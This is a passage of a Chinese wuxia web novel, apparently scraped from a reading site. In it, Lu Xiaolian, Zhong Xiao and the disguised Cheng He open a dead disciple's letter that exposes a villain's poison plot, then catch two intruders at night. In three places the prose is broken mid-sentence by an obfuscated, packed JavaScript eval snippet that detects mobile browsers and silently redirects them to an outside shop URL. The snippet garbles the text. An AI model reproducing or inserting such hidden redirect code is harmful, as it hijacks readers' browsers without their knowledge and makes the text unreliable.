陆晓怜与钟晓异口同声:“百花谷?” “神医夫妇隐居百花谷多年,你们这个年纪的年轻人不认得,也是正常。”张大夫笑笑,“他们夫妇为了不被打扰,在百花谷内外设置重重机关,莫说你们未必能入谷见到他们,即便是有本事见到他们,也未必能说服他们出手救人。总之,你们商量商量再做决定。” 说罢,他朝钟晓抬了抬下巴:“走吧,你跟我去抓几副药。” 陆晓怜他们三人跟着江阿小走进酒肆后院时,未时刚过,此时已是暮色渐垂。 钟晓跟着张大夫去抓药,江阿小在家里待不住,像一条小尾巴似的跟在他们后面也走了。吴阿婆抬头看了看天色,去厨房为大家准备晚饭。陆晓怜想去帮忙,却被阿婆赶了出来,实在是无所事事,只好溜达进房间里,看望看望大夫口中命悬一线的病人。 钟晓和张大夫离开房间的时候留了灯烛,已是暮色四合,屋子里更是昏暗,陆晓怜在床边的一张凳子上坐好,隔着不远不近的距离,借着微微烛光,百无聊赖地打量床榻上的人。 许是烛火微弱,令人看不清楚的缘故,陆晓怜觉得这个人看起来并不见得便比常人多几分惨淡病容,此刻安安静静地躺在那里,神色平和,气息悠长,仿佛只是睡着了。 这个样子,谁能想到他五内俱伤,药石无医? 陆晓怜拿手指反复卷着自己的头发,她无措时,手上总得把玩些什么才能安心,嘴上絮絮叨叨地为自己辩解:“也不能怪我推了你一下吧?你能救江阿小,能用手指夹住我的剑,那么厉害,谁能想到竟是这么一副风吹就破的身子。” 床上的人呼吸悠长。 她叹了口气,又替他忧心起来:“你这样子能自己去百花谷找神医吗?我和我师弟倒是能送你去,可我们在南州城还有点事,你能不能撑到我们办完事情啊?” 说着说着,她又开始思念贺承:“要是师兄在就好了,他朋友多,即便不能亲自送你去百花谷,一定也能找到人帮忙。” 外面淅淅沥沥的小雨衬得屋里安静异常,只有陆晓怜在自说自话。 大概是太过无聊,大概是太过思念贺承,她开始絮絮叨叨地对着昏睡的人说起她师兄,从她师兄有多厉害,到她师兄有多仗义,实在无话可说了,把刚刚在门外听吴阿婆讲的关于贺承与江非沉的故事也说了一遍。 末了,陆晓怜幽幽一叹:“我真的好想师兄啊。” 把想说的话一股脑说完,陆晓怜安静下来,忽而发觉床榻上的人气息不大对。 她伸手轻轻戳了一下病人的手臂:“喂,你是不是醒了?” 病人闷闷咳了两声,缓缓睁开眼。 陆晓怜生气:“你这人!怎么醒了也不出声?就躺在那里偷听别人说话!” 贺承刚刚醒来,意识还有些昏沉,脑子迟钝沉重地转了几圈,还是没明白过来陆晓怜的话—— 谁偷听谁说话? 不是她自己跑进房间里来叽叽喳喳说个不停的吗? 8. 第八章 留书 钟晓想不通,自己出去抓几副药的功夫,自家师姐怎么又跟屋里的病人赌上了气? 他提着药包走进屋子里时,只看见陆晓怜不满地抱胸站在床边,而贺承靠着软枕倚在床头,看上去虚弱又可怜。不知其中曲直,钟晓只能发问:“这是怎么了?” 陆晓怜告状:“他偷听我说话!” 钟晓摸不着头脑,在他进屋前,这间屋子里只有陆晓怜和贺承两人,贺承能偷听陆晓怜和谁说话?退一万步讲,这也是贺承的房间呀? 陆晓怜继续说:“他明明偷听到我说的许多贺师兄的事情……” 贺承轻咳一声,纠正她:“不是‘偷听’,只是‘听’。” “有区别吗?”陆晓怜横他一眼,却还是修正了说法,“他明明听到我说的许多师兄的事情,却还是执意要说师兄不是好人。” 贺承初初醒来,被气得又偏过头去咳了起来,边咳边断断续续地接着纠正她:“我不是,不是说你师兄不是好人,咳咳咳,我是说,人都是会变的,咳咳咳,况且俗话也说‘知人知面不知心’……” 此话一出,虽然对面是个病人,陆晓怜也忍不住再次火冒三丈:“你少在这里指桑骂槐!”她扭头问钟晓:“你说,这次是不是我无理取闹?” 不曾预料战火会烧到自己头上,钟晓呆呆愣住。他是老实人,迟疑了片刻,还是遵从内心,小心翼翼地说:“我觉得他的话是有道理,未必存心针对咱们师兄。” 眼看着钟晓站到对方的阵线上去,陆晓怜更是气得跳脚:“你们一个两个都是白眼狼!枉费师兄对你们那么好!” 房间里只有三个人,有两个人达成一致,陆晓怜便是孤军奋战。她气得不想再跟这两个人多说一句话,骂过钟晓,又狠狠瞪了贺承一眼,扭头出去外面透气。 屋子里只剩下贺承和钟晓大眼瞪小眼。 钟晓最怕冷场,先开口替他师姐道歉:“见笑了,我师姐与贺师兄青梅竹马一同长大,听不得人说师兄半句不好。” “无妨……”贺承笑笑,他精力不济,说话语气轻缓,声音低微,听着分外温和,“陆姑娘是性情中人率直可爱,我只是怕她这样的性子,以后难免要吃亏。” 话是这样说,可追根究底算起来,陆晓怜这性子,有一多半也是贺承骄纵出来的。 他喜欢上陆晓怜,正是在最轻狂的年纪上。因为向来出众,他从未想过自己会输,也有自信无需约束陆晓怜说什么、做什么,只要自己暗里发奋,便能长成让她依靠的苍天大树,令让她此生想说什么便说什么,想做什么便做什么。 可如今,他尚未长成一棵茁壮大树便要枯朽,往后的路,终归只能她自己走。 贺承这话说得中肯,钟晓对着他抱拳一礼:“多谢提醒。” 想到已经与这人共同经历了不少事情,却连人家叫什么都不知道。钟晓顺势两手一抱拳,自报家门:“我是钟晓,与晓怜师姐一同从青山城来的。我们也算是不打不相识,刚刚兵荒马乱的,还没问少侠怎么称呼?” 怎么称呼? “贺承”这个名字自然是不能用的,可贺承当初来这里也不是为了交朋友的,没仔细想过要化用什么名字。他眼珠一转,瞟了一眼烛台上剩下的小半截灯烛,寥寥草草给自己起了个名字:“沈烛。” 陆晓怜走时没有把门关紧,寒风推门而入,烛火如豆,在风里颤巍巍地摇摆着。钟晓起身去掩上门,看着斜斜倚在床头的贺承,心中浮出一个词—— 风前残烛。 他坐回床边,斟酌着措辞,将张大夫的话同贺承说了一遍,又着急忙慌地安慰他:“沈兄也不必太过忧心了,仓促之间也找不来什么好大夫,许是张大夫学艺不精罢了。只是我为沈兄更衣时,见你身上有许多旧伤……” 钟晓惯会察言观色,眼见提起旧伤,贺承眉尖微蹙,显然是不愿多说,忙调转话头:“江湖上的人各有各的故事,我无意窥探沈兄的过往。只是想提醒沈兄一句,切莫轻慢了身上的伤,南州城离百花谷也不算远,不如就按张大夫说的,去试一试?” “多谢。”贺承点头,“都是些旧伤,要治也不急在这一两日,我在南州城还有些事要办,办完再去也不迟。” “难道沈兄也是为试琴会而来?” 贺承笑着闷咳几声:“原本是,现下,倒也可以不必去。” 正说着,房门“吱呀”一声被人推开,江阿小端着一碗粥,小心翼翼地往里面走。将粥碗放到桌子上,他才长长舒了一口气。他应该是在门外听见了贺承与钟晓的对话,放下碗,蹬蹬蹬跑到床边,趴在床沿上问贺承:“哥哥是要去试琴会吗?” 昏迷前,听吴阿婆说到,她的孙儿被卓庄主认作义子,贺承就大致猜到他们是谁。昏沉中,陆晓怜在床边絮絮叨叨地说了很长的一段往事,他虽没力气说话回应,却能听得分明—— 这间酒肆里一老一小,确实便是江非沉的祖母与幼弟。 怪不得小孩不乐意听人说贺承的坏话,怪不得他见到吴阿婆便觉得眼熟,原来他们之间早有牵连。 贺承低头看趴在自己床边的江阿小。 孩子虽然瘦小,但也已经长到半人高,活泼好动,勇敢机敏,再不是七年前缩在被子里,跟小老鼠似的,奄奄一息的孩童了。 看着他,贺承欣慰了一阵子,心里又忽然掀起一股遗憾。 这趟来南州,他见到了陆晓怜,见到了钟晓,连江非沉的弟弟都见到了,却没能见到自己的弟弟贺启。 江阿小扯着被角喊贺承:“哥哥,哥哥,你是不是要去试琴会?” 贺承没说是,也没说不是,只低声问他:“怎么了?” “你带我去吧,我要去接大哥回家。” “接你大哥回家?” 江阿小点头,垂下眼睫,显露出悲伤:“我知道大哥死了,跟娘一样,再也不会同我说话,陪我玩耍了。他们要赶我和祖母回江家村里去,可我们不能把大哥孤零零地留在这里,我们得带大哥回家!” 贺承和钟晓对视一眼,两人不约而同想起午后闯进酒肆的那帮人—— 他们就是琴剑山庄派来驱赶他们祖孙的。 显然,他们来过不止一次,每次来大约也称不上和气,否则也不会给江阿小留下个“他们都是坏人”的印象。 可这事想来其实不大合乎常理。 琴剑山庄向来以仁义自居,庄主卓弘明既然看重江非沉,江非沉死后,无论是否出于真心,都理应安排人手替他打点赡养祖母、抚养幼弟的事宜。退一步讲,即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13134428|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江非沉死后,琴剑山庄不想与吴阿婆、江阿小再有瓜葛,老死不相往来便是,为什么要扣下江非沉的尸身,还要将他们赶出南州城呢? 贺承想不明白,也不指望江阿小能说得明白,只轻轻推了推他的肩膀:“去请你祖母来一趟,好不好?哥哥有事想要问她。” 江阿小蹬蹬蹬跑出去,片刻后,领着吴阿婆进来。陆晓怜在厨房里帮吴阿婆准备晚饭要用的碗筷,跟在吴阿婆身后,也一起进来。 于是,酒肆里的人又聚到了一处。 不等客套寒暄,钟晓便开门见山便问吴阿婆:“阿婆,我阿小听说,江师兄出事后,琴剑山庄便要求你们离开南州城?您与琴剑山庄结过怨吗?还是有什么其他缘故?” 吴阿婆连连摆手:“我们哪有能耐跟琴剑山庄结怨?” 钟晓看了贺承一眼,没有催促,等着她顿下来想了片刻,又自顾自说下去:“非说有什么过不去的,也只有是我家阿大的事。” “阿小天天在街上跑,那时看见同去青山城的人都回来了,却迟迟不见他大哥回家,来同我说。我出去打听了,才知道阿大死在了青山城。我和孩子他娘去琴剑山庄想问个究竟,却连琴剑山庄的大门都进不去,气得孩子的母亲回来便一病不起。他们不让我们见阿大,只给了我们一笔钱,要我们离开南州城,让我们往后不许同人说起阿大。”说到激动处,吴阿婆不禁红了眼眶,“就算是认了卓庄主做义父,阿大也是我家的孩子,就算改了名叫江非沉,他也还是姓江!出了这么大的事,哪里有不同我们说一声,不让我们见最后一面的道理!” 贺承撑着坐起些,拧着眉头问:“从此,琴剑山庄便不时上门要你们离开南州吗?” 吴阿婆点头:“是,我们自然是不肯走的。一开始,他们让人堵在门口,不让我们开店做生意。后来起了一次争执,孩子他娘被气得当场呕血昏了过去,因为为难我一家老弱妇孺,被人指指点点,他们才把门外的人撤了,只安排人打扮成店小二守在店里,盯着我们,不让我们同人提起阿大。” 贺承想起酒肆里那个冷漠懒怠的店小二,这才发现原来一切早有迹可循。 江非沉是在青山城出的事,人人都说他死在贺承剑下,既是如此,琴剑山庄盯吴阿婆一家盯得这样紧,怕的是究竟是什么? 话既然已经聊到了江非沉的死,贺承顺其自然地问起他此行最想知道的那个问题:“当初江非沉出发去青山城前,说过什么与平日不同的话,做过什么与平日不同的事?” “与平日不同吗?”吴阿婆看了陆晓怜一眼,迟疑了片刻,将方才同陆晓怜说过的话,又说了一遍:“阿大离开南州时,留了一封信,交代我,他若没有回来,让我想办法将信交给贺承。我觉得,他那时就知道,自己大概没法从青山城回来了。” “信?”贺承眉头微蹙,“什么信?” 他自然而然地向吴阿婆伸出手:“把信给我。” 此话一出,所有人都目光古怪地盯着贺承看。 他的手举在空中,话却掉到了地上,房间里的沉默显出一些尴尬来。 最怕冷场的钟晓不得不救场,轻咳一声,摸了摸鼻子,客气提醒他:“信毕竟是留给我师兄的,沈兄要直接拿来看,恐怕不大合适吧?” 9. 第九章 拆信 经钟晓提醒,贺承才后知后觉地想起自己此时名叫“沈烛”,悻悻收回手,尴尬清咳几声,生硬解释:“我也是听说贺承不知所踪,连青山城的人都找不到他,担心信里若是有什么要紧的信息,给耽误了。”他目光一转,落到陆晓怜身上:“我与贺承非亲非故,替他拆信自然不合适,既然陆姑娘在这里,不如就把信交到陆姑娘手里吧。” 向前陆晓怜只跟吴阿婆说,她与贺承是同门师兄妹。吴阿婆不是江湖中人,不知他二人前尘往事,愣愣发问:“这位陆姑娘,与贺承,关系匪浅?” 江湖上人尽皆知的青梅竹马,自然是关系匪浅。 只是以后,恐怕再没有机会有什么关联了。 念及此处,贺承心中一痛,漆黑的眼珠看着陆晓怜,目光极深极沉。 陆晓怜抬眼看过去,恰好与他的目光撞在一处,在他黝黑深邃的目光恍惚看见一星半点熟悉的柔光,可眨了下眼的功夫,待要细究,他已面无表情地朝吴阿婆看去。 她听见他同吴阿婆解释:“这位陆姑娘与贺承青梅竹马两小无猜,若不是当时陆城主在青山城设下擂台比武招亲,若不是各门各派的青年才俊入住青山城期间死在无涯洞外,陆姑娘与贺承,恐怕早已喜结连理。” 说到这里,他顿了一顿,轻轻一笑,他们都觉得他是在嘲笑世事无常。他却没有再多说什么,只入情入理地提议:“陆姑娘是青山城的人,又是与贺承心意相通之人,如今贺承行踪成谜,为了不耽误正事,把信交给陆姑娘来拆,最合适不过。” 没有人知道江非沉的那封信里究竟写了什么,包括贺承。 因为无法掌控那封信,所以他决定将这封信交到陆晓怜手里。 他像相信自己一样,相信着陆晓怜。 他不知道信里写了什么,但他知道,陆晓怜读过信之后,会明白该如何处置这封信。 吴阿婆看看贺承,又看看陆晓怜,小心翼翼地同陆晓怜确认:“陆姑娘,你答应我的事,还作数的吧?” 她答应了江家什么事情? 贺承眉头一拧,再次转头朝陆晓怜看过去,却见她点头点得毫不犹豫:“琴剑山庄对江非沉的尸身百般遮掩,其中必有隐情,即便您不说,我也要去一探究竟。” 得了陆晓怜这话,吴阿婆才算放了心,抬手招呼江阿小到自己身边来,剥了他的外衫,伸手探进里衣,摸出一个用油纸包裹的信封。 钟晓目瞪口呆:“这么重要的信竟然一直都是放在一个孩子身上的!” 吴阿婆边拆开油纸包,边回应钟晓的话:“有一阵,琴剑山庄的人总来家里,说是要拿些他平日里用惯了物件拿去做陪葬用。” 她从油纸包里抽出折了三折的信笺,抖落开来,除却几道折痕,信笺被保持得很好。 阿婆把信递给陆晓怜,继续说下去:“他们说是来拿东西,可每回来都像是在找什么东西似的。我心里不安,将几样舍不得给他们的、阿大留下的东西藏了起来。特别是这封信,这毕竟是阿大最后交代的事情,我总得替他办好。我想了许多法子,最后决定用防水的油纸包好,缝进阿小贴身肚兜上,装护身符的小布袋里。” “确实是好法子。”贺承点头,“我们想不到阿小身上藏了要紧东西,琴剑山庄的人自然也想不到。” “是,他们来了几轮,确实都没有发现这封信。” 贺承问:“您有听他们说,究竟要找什么东西吗?” 阿婆摇头:“我也不知道他们究竟想找什么东西?仔仔细细翻过两三轮后,就不再来了。后来再来家里的是另一波人,是为了催我们离开南州的。” “他们要找的,只怕就是这封信吧!”这边正说着话,那边陆晓怜拆开信笺,一目十行地读完,面露愠色。 贺承问她:“都看完了?如何?信中所述之事,可是方便让大家都看看的?” “有何不方便?”她不遮不掩地拿着信走过来,边将信递给贺承看,边愤愤说道,“卓弘明这个混蛋,他竟给江非沉下毒,以此逼他害我师兄!一定是因为这样,师兄才会与他动手!我就说,我师兄不会无故伤人的!” 贺承接过信笺,对着烛光细细读了起来。 陆晓怜站在屋子正中,提起琴剑山庄庄主卓弘明,气得咬牙:“当时我爹设下擂台,约法三章,当日赢下擂台者与我成亲之后,便能得到青山城独门心法‘青山遮’。这卓弘明一定是觊觎‘青山遮’,才会逼江非沉暗害我师兄!” “恐怕不止。信中说,卓庄主常常同他说,陆城主的独子陆兴剑优柔纯善,天资有限,陆姑娘又待贺承情深义重,若是废了贺承,便如断他二人一臂,日后也就好拿捏青山城了。”贺承读完了信,将信转给钟晓,他累极了虚弱地倚在床头软枕上,眼中的笑意却越发森冷,“看来,卓庄主不仅要‘青山遮’,还要贺承的命。” 陆晓怜更气:“有理,若要‘青山遮’,逼着江非沉设计赢了擂台便是,何必在出发前,特意塞给江非沉一袋毒蒺藜。” 江非沉带着淬了毒的铁蒺藜到达青山城,并且,他最终向贺承射出了那枚毒蒺藜—— 这便是贺承拖着破败不堪的身体来到南州城的原因。 半年前出事的那一晚,是江非沉将大家约到无涯洞外比试切磋。贺承在这一辈弟子里是公认的第一,江非沉自然不是他的对手,大家平日里无冤无仇,既是切磋,本该是点到为止,却不料江非沉竟骤然发难,暗里向贺承射出一枚毒蒺藜。 一开始,贺承将无涯洞外的事归咎于那一晚的比试,只是觉得若不是江非沉将大家约在无涯洞外,若不是江非沉下黑手用毒蒺藜伤他,十有八九不会引发后面的事,也就不会有无涯洞外死伤数人的悲剧! 说到底,江非沉不过是求胜心切,并没想要害那么多人。 可后来冷静下来细想,贺承却越发觉得此事蹊跷—— 一来,江非沉为人光明磊落,本该是不屑使暗器的;二来,他七年前曾有恩于江家,七年间与江非沉虽不常见面,却不时有书信、物件往来,江非沉并非忘恩负义之人,即便为了赢他,要使些手段,也不至于在暗器上淬了要人性命的毒药。 因而,贺承一直想不明白,究竟是为什么,江非沉会对他起杀心? 他来南州,就是想借着试琴会的机会,混进琴剑山庄探一探,看能否知道当初江非沉离开南州城前,都发生了什么。 没曾想,机缘巧合遇见了江非沉的祖母和弟弟,竟然他在一封信里找到了答案—— 原来那时的江非沉,困在孝、义之间进退维谷! 江非沉的信中说,他知道卓弘明对他动了杀心,让他去杀贺承,不过是个借口。 贺承对江家有恩,他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江阿小颤巍巍地倒来一杯水,贺承浅浅抿了一口,压下咳意,哑着嗓子安慰大家,目光却是意味深长地落在钟晓身上:“我没什么事,大概是话说多了,有些累。” 钟晓与他对视一眼,当即会意,一拍脑袋:“差点都忘了,沈兄还病着呢!今日天色也晚了,不如吃点东西各自休息,其他的事明日再议?” 贺承倚在床头,声音听来越发虚弱不堪:“抱歉,是我拖累大家。”他看着钟晓手里的信:“这封信至关重要,不宜再放在孩子身上,我此刻卧病在床,横竖走不出这间屋子,若各位信得过,不如先收在我这里……” “当然信不过!何况你都自身难保了,怎么还能护得住这封信?”不等他说完,陆晓怜第一个跳出来反对,“这封信事关我师兄清白,自然是应该由我收着的。” “不是信不过沈兄。”钟晓状似无意地抬眼看了看头顶天花板,深深看了贺承一眼,“沈兄还病着呢,切忌操劳才是。” 贺承知道钟晓的意思,这封信留在谁手里,谁就是琴剑山庄的靶子,而他此时伤病交加,未必能与琴剑山庄抗衡。 他沉默片刻,实在是想不出反驳的理由,只能低低应了声“也好”。看着陆晓怜小心翼翼地将那封信用油纸再包好,收入怀中,他又不放心地朝钟晓叮嘱一句:“你与陆姑娘是一道来的,务必相互照应。” 10. 第十章 蹲守 一切安排妥当后,众人陆续退出去,贺承房里恢复了安静。 适才,屋顶上有人。 贺承发现了,钟晓也发现了,他们一唱一和,中止了这场议论。可令贺承不安的是,那封信最终收在陆晓怜手里,琴剑山庄的目标若是那封信,必定是要冲着她去的。 他这个师妹自小习武,别看她将横秋剑舞得天花乱坠,其实却是伤不了几个人的花架子。师父疼爱她,舍不得她吃苦,只在逼她练轻功时严厉,说是轻功练好了,要紧时候可以救命,其余的内功心法倒不必强求。 虽没人逼迫她,但陆晓怜从小要强,陆兴剑和贺承学的,她也要学,只可惜她大概天生不是习武的料,费了九牛二虎之力,却还是被贺承他们远远落下。 就好比刚才,屋顶上有人蹲守。 贺承发现了,钟晓发现了,陆晓怜不仅无所察觉,还大声嚷嚷要把信藏在她那里。 想到这里,贺承更躺不住了—— 虽然交代了钟晓与她互相照应,可也不知来者的路数,万一钟晓自己一个人独木难支,护不住陆晓怜怎么办? 于是,贺承一刻也不敢耽搁,伸长手臂扯过衣架上的外裳,披衣而起。 如今他的经脉损毁严重,受不住内息涌动。下午救江阿小时,情急之下催动内力,便冲撞了经脉,后来钟晓又莽莽撞撞打进一脉内息进来试探,险些将他好不容易接续上的经脉又给震断,此时要起身出去,属实是有些勉强。 可那又如何?不过是有些勉强罢了,又不是连走出房间的力气都没有了。 贺承并起两指,抵住任脉上几处要穴,压着散乱的内息寸寸逼入气海深处。气虚体弱之下,他力气不济,强行压制内息,也是收效甚微,倚着床柱半阖着缓了缓,从怀着摸出一颗血红色的药丸,托在掌心里看。 便是 拼着最后一口气,他也不会不管陆晓怜。 他深吸了口气,将那颗药丸收回怀里,缓缓起身出门去,翻身便上了屋顶。 入夜后,南州下来一个月的雨竟然渐渐停了,云雾间竟露着半轮月亮,朦朦胧胧地散着光,映照着水汪汪的南州城。 月光之下,隐匿在暗处的东西便无处遁形。 可能是人。 也可能是别的什么。 贺承蹲在陆晓怜房间的屋顶上,没等来琴剑山庄的人,却等来了钟晓。 钟晓撞见贺承,错愕至极,愣了一愣:“沈兄,你怎么在这里?” 贺承答得坦荡:“你刚刚应该也发现了,我们说话时,屋顶上有人偷听,我担心为了那封信,会有人对陆姑娘不利。” “我也是这样想,所以来这里守着。”钟晓赞同,借着月色细看贺承,从他眉宇间捕捉到一丝倦色,心下不忍,“只是霜寒露重,你身体欠安,还是回屋休息吧,师姐这里我来守着便好。” “还是在这守着吧。”贺承笑了一下,轻声自语:“回去了也不安心。” 万籁俱寂,钟晓离他又近,他的声音虽轻,话却被钟晓完整听了去。 钟晓先是觉得困惑:“什么不安心?”继而,他心念微动,瞪大眼睛仔细打量了贺承一番,眉头微蹙:“沈兄,你是不是有点过于关心我师姐了?” 过于,关心陆晓怜吗? 贺承被这猝不及防的一问打得脑袋发懵,一时不知该作何回答。 钟晓不管他死活,不依不饶地继续说下去:“应该还不止!” 他将今天的事情前前后后串起来想了想,又想起午后在院子里,贺承表现出来对陆晓怜异乎寻常的了解,自顾自地分析:“你不仅是关心我师姐,你还很了解我师姐——” 说到这里,他目光一凝:“你究竟是谁?究竟想做什么?” 质问突如其来,贺承不曾准备,无力招架,只能在月光下同钟晓大眼瞪小眼。 贺承面上波澜不惊,心中却百转千回,此刻这里只有他和钟晓两人,钟晓行事稳妥,摘下面具来与他相认也不是不行。他也确实是有些话想同钟晓交代,关于青山城的,关于师父师叔的,还有关于陆晓怜的。 可眼前的事越发错综复杂,贺承担心钟晓还是将他看得太重了,知道这位命不久矣的“沈兄”,便是他的贺师兄,日后行事难免会乱了阵脚。 权衡再三,贺承定下心来,即便要与钟晓相认,也要等江非沉与琴剑山庄的事水落石出再说。 他绞尽脑汁想借口,沉默了好半天,才挤出一句:“你觉得我想做什么?” 两人半晌无话,钟晓正憋得难受,贺承戳破个口子,他的话便像倒豆子一样悉数滚落出来:“你是不是喜欢我师姐?” 贺承被呛得闷咳几声,挑眉,没回话,等着他继续说下去。 “而且我猜想,你不是今日遇见她才喜欢上她的,你应该早就偷偷喜欢她很久了,才会对她那般了解,是不是?” 贺承忍着笑,装出心意被看穿的尴尬模样:“是。” 钟晓很得意:“我就知道!” 可得意过后,他迅速沉下脸色,语气严肃地对贺承说:“我知道我晓怜师姐生得很美,又是陆城主独女,喜欢她的人如过江之鲫。可是,晓怜师姐是贺师兄的,谁也不许肖想!沈兄别想趁着我师兄不在,乘虚而入!” 贺承只是笑,眼中眸光流转,意味不明。 钟晓神色越发严肃郑重:“沈兄不遗余力相助江家老幼,想必是正人君子。都说君子不夺人所好,沈兄,你可不能趁人之危。” “趁不趁人之危另说。”贺承有意试探,“你有没有想过,贺承如今已成人人喊打的过街老鼠,若是真为你师姐好,你就应该劝她,别再跟贺承纠缠不清才是。” 听到这话,钟晓脸上立刻浮起一层愠怒,要不是还记着他们俩是为了什么事蹲在陆晓怜房间的屋顶上,即使不拔剑跟他打一架,也要叉腰同他吵一架。 他忍不住提高音量:“沈兄怎么能这样说?江师兄的信你也亲眼看了,江师兄的死属实有蹊跷,那一夜在无涯洞外死伤的其他人呢?当真就能全怪到我师兄头上去吗?” 说到情绪激动处,钟晓忍不住提高了音量,他忙捂住嘴,四下望了一望,确信风平浪静,压着愠怒,低声说:“这件事尚未有定论,沈兄日后若这样说我师兄,我便不再拿你当朋友了。” 相似的话,贺承在陆晓怜口中也听到过。 钟晓和陆晓怜的歪理如出一辙,未有定论,便不该把贺承当恶人看,即便一望而知,那些人身上的致命伤,出自贺承之手。 贺承问钟晓:“关于贺承的那些是非,是只有你和陆姑娘这样想,还是整个青山城都这样想的?” “我师父,就是贺师兄的师叔,也是这样想的。”说到这里,钟晓有了底气,“这事青山城不是不管,出事后师叔已经派了许多人出来找师兄。等我们找到了师兄,事情便自然而然会水落石出。” 钟晓的师父,贺承的师叔,是掌门陆岳修的师弟庄荣。 庄师叔是个武痴,因为欣赏贺承根骨奇佳,对贺承多有偏袒,他会在这件事上继续偏袒贺承,本在贺承意料之中。 贺承追问:“如果怎么找,都找不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13134430|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” 钟晓古怪地看他一眼,面露不悦:“怎么可能找不到?沈兄,你到底想说什么?” 贺承经脉某处无由抽痛了一下,他有些恍惚:“我是想说,如果他死了呢?” 月光下,钟晓脸色蓦然煞白。 他显然没有想过他那个出类拔萃、无所不能的贺师兄会死,愣了片刻,错愕化作怒意翻涌上来。他往后撤了几步与贺承拉开距离,手腕一抖,长剑如银蛇出鞘,剑尖直指贺承:“先骂他,再咒他,你与贺师兄有什么仇?” 贺承抬手做了个噤声的动作,而伸出两指,用指背缓缓抵上钟晓来势汹汹的剑尖,将剑刃寸寸推回去,他的手指却完好无伤。他朝陆晓怜的房间看了一眼,压低声音提醒钟晓:“我和你师兄没有仇,真正跟你师兄师姐有仇的人来了。” 顺着贺承的视线看去,果然有两道人影翻过矮墙,落进院中。 他们应该已经与最初蹲守在这里的人通过气,知晓哪间房里住着人,精准找到有人的房间,趴在窗子上往里吹迷烟。 钟晓为人正直,对这种半夜跑来把人迷晕的行径十分不屑:“琴剑山庄怎么说也是四大门派之一,又是毒蒺藜,又是迷烟,到底是哪里学的这些不入流的手段。” 贺承三教九流的朋友多,见过的鬼蜮伎俩也多,觉得他这师弟憨直得可爱,笑着提提醒:“你别忘了,卓庄主的夫人南婧是五毒谷传人,你所谓的不入流手段,却是人家的看家本事。” 今夜在屋顶上,贺承说的话没一句是钟晓爱听的。他横了贺承一眼,冷哼:“要这种本事何用,阴险卑鄙,非君子所为。” “这些都只是工具罢了,要紧的是人心。”贺承并不打算啰嗦说教,只笑说,“你记着这话,总有想明白的时候。”说罢,他又想了想,闷闷咳了一声,低低自语:“若你们永远不明白,才是最好。” 几句话的功夫,院子里四处往房间里吹迷烟的人已经找到陆晓怜门外来,两人默契闭了嘴,一瞬不瞬地盯着那两个人,待到他们往房间里吹够了迷烟,撬开房门进去,便一刻也不敢耽搁,纵身一跃,无声无息地落在院子里。 为了避免打草惊蛇,两人特意将脚步落得极轻,刚刚在门外站定,便听见一声被极力压制的惊叫自房中传出,在静谧的夜里分为刺耳。 钟晓心里一沉,再顾不得什么打草惊蛇,一掌推开房门。 房门被推开的瞬间,与他并肩而立的人闪身闯了进去,速度极快,带起一阵冷冽的风,刮得他脸颊隐隐生疼。 听见陆晓怜房间里的动静,贺承只觉耳边嗡地一声响,脑中一片空白,顾不得体内涌动的内息,飞身掠出,径直闯进去。 房里竟然没有人! 刚刚闯进来的两个人不见踪影,床上被褥散乱,也不见陆晓怜的身影。 贺承的心脏狂跳不已:“晓怜!” 刚刚喊了一声,肩膀就被人轻轻拍了一下,紧接着,一个脆生生的女声在他耳边响起:“喂,小点声,你要把整条街的人都叫醒吗?” 贺承转过身来,惊魂未定地看着站在百步之外的陆晓怜,浑身的力气顷刻间被抽走一般,脚下发软,险些一头栽倒下去。他深吸了口气平复心绪:“陆姑娘,你没事吧?” 借着透进房间里的月光上下打量一番,确认了陆晓怜毫发无伤,他终于稍稍松了一口气,这时才顾得上问她:“刚刚闯进来的人呢?” 陆晓怜杏眼一转,抬手往上指了指。 贺承顺着她的手指看去,只见天花板上拉了张渔网,渔网里结结实实地裹着两个人。 11.第十一章 双生子 钟晓去找了绳子来,将被陆晓怜网渔网里的两个人拎出来,捆结实了,扯下遮面的黑布,露出一模一样的两张脸来。 这两人竟是一对双生子。 钟晓沉着脸问:“你们是谁?深夜闯入民宅,到底想做什么?” “我们——”被捆结实了放在左边的人反应快,眼珠子一转,答道,“这几天城里外来人多,我们就是想浑水摸鱼谋点钱财。” “谋财?”陆晓怜冷笑,“清水河畔百来号酒家,你们偏挑最最寒酸的一家谋财吗?落草为寇,却放着珠宝金银不想要,贪图穷人家的几枚铜币,这是什么道理?” 答话的人又说:“那些人武功高强,我们不敢妄动。” 听了这话,贺承忍不住轻笑出声。 他转头看了陆晓怜一眼,眼尾被笑意扯着微微扬起,陆晓怜觉得他含笑看过来的这一眼似曾相识,可搭配着他毫无表情的的那张脸,一时又想不出究竟在什么地方见过这样的一双眼睛。 贺承笑意促狭,他嗓音发哑,显得分外无辜:“陆姑娘,他们看不起咱们呢。” 